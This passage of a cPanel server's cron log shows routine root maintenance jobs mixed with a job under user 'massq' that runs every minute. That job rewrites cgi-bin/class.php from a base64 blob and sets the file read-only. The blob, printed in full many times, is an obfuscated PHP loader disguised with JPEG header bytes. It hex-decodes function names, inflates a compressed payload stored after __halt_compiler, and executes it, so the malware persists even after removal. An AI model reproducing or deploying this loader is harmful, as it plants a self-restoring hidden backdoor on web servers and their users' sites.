Hg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:05:01 server CROND[4347]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 04:05:01 server CROND[4348]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:05:01 server CROND[4349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:06:01 server CROND[4474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:07:01 server CROND[4521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:08:01 server CROND[4568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:09:01 server CROND[4718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:09:01 server CROND[4719]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 04:10:01 server CROND[4799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:10:01 server CROND[4800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:10:01 server CROND[4801]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 04:10:01 server CROND[4802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:11:01 server CROND[4913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:12:01 server CROND[5029]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 04:12:01 server CROND[5030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:13:01 server CROND[5096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:14:01 server CROND[5248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:15:01 server CROND[5295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:15:01 server CROND[5296]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 04:15:01 server CROND[5297]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:15:01 server CROND[5298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:16:01 server CROND[5425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:17:01 server CROND[5498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:18:01 server CROND[5556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
